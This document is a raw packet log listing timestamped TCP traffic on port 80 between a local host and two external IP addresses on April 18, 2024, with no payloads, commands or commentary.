Apr 18, 2024 23:40:16.766896009 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766906977 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766936064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766947985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.766973972 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.766985893 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767009020 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767010927 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767049074 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767086029 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767090082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767090082 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767123938 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767154932 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767163992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767190933 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767204046 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767244101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767258883 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767280102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767288923 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767318010 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767334938 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767357111 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767378092 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767395973 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767414093 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767433882 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767447948 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767473936 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767493010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767513037 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767549992 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767565966 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767592907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767608881 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767627001 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767652988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767652988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767666101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767673969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767704964 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767749071 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767759085 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767762899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767801046 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767802954 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767838955 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767843008 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767875910 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767888069 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.767914057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767950058 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.767971039 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768023014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768033028 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768069983 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768074989 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768136978 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768174887 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768181086 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768214941 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768224955 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768251896 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768290997 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768301964 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768327951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768338919 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768366098 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768403053 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768415928 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768441916 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768491983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768505096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768506050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768521070 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768537998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768552065 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768552065 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768556118 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768582106 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768599033 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768600941 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768620014 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768637896 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768641949 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768677950 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768697023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768722057 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768733025 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768759966 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768774033 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768800020 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768814087 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768838882 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768846989 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768878937 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768889904 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768918037 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768946886 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768956900 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.768971920 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.768994093 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769000053 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769032001 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769049883 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769071102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769088030 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769112110 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769140959 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769150019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769188881 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769191027 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769191027 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769237995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769239902 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769278049 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769284964 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769320011 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769356012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769357920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769373894 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769396067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769402981 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769433975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769444942 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769471884 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769504070 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769515038 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769529104 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769555092 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769593954 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769594908 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769594908 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769632101 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769642115 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769670963 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769709110 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769720078 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769746065 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769783020 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769797087 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769820929 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769859076 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769871950 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769896984 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769921064 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769934893 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769938946 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.769972086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.769985914 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770010948 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770046949 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770047903 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770086050 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770090103 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770090103 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770131111 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770138025 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770174980 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770189047 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770212889 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770250082 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770258904 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770288944 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770328045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770339012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770365953 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770402908 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770445108 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770452023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770452023 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770483971 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770539045 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770591021 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770606995 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770622015 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770636082 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770639896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770639896 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770649910 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770659924 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770663977 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770678043 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770687103 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770693064 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770704985 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770706892 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770720005 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770725012 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770733118 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770745993 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770749092 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770762920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770766973 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770776033 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770787001 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770790100 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770802975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770812988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770812988 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770819902 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770833969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770853996 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770859003 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770870924 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770911932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770925045 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770940065 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770955086 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.770957947 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770981073 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.770992994 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.771018982 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.771032095 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.771042109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.771230936 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.793284893 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.793350935 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.797687054 CEST	80	49761	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.798454046 CEST	80	49761	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.798516035 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.799669981 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.802201033 CEST	80	49762	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:16.802273989 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:16.802476883 CEST	80	49745	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:16.802552938 CEST	49745	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:16.820945978 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:16.997522116 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.997564077 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:16.997600079 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:16.997659922 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.014818907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.014863014 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.014899969 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.014919043 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.014923096 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.014956951 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.014967918 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.014997959 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015008926 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015037060 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015049934 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015089035 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015089035 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015126944 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015141010 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015166998 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015177011 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015208006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015216112 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015247107 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015253067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015295982 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015335083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015374899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015384912 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015414000 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015439034 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015454054 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.015464067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.015511036 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.034482956 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.034553051 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.043173075 CEST	80	49761	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.048715115 CEST	80	49761	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.048783064 CEST	49761	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.063028097 CEST	80	49762	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:17.067164898 CEST	80	49762	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:17.067229033 CEST	49762	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:17.237200022 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.237241983 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.237385035 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.237513065 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.255834103 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.255919933 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.274162054 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.274238110 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.477092028 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.477147102 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.477199078 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.477240086 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.477248907 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.477267981 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.477293968 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.477313995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.496016026 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.496037006 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.496082067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.496129036 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.513768911 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.513814926 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.513861895 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.513894081 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514005899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514024019 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514040947 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514059067 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514059067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514076948 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514096975 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514096975 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514108896 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514125109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514125109 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514127016 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514139891 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514154911 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514168024 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514172077 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514172077 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514180899 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514192104 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514194012 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514206886 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514209986 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514219999 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514231920 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514245987 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514250040 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514259100 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514270067 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514271975 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514285088 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514286995 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514297962 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514305115 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514311075 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514326096 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514338970 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514350891 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:17.514352083 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:17.514364004 CEST	80	49757	193.233.132.167	192.168.2.4
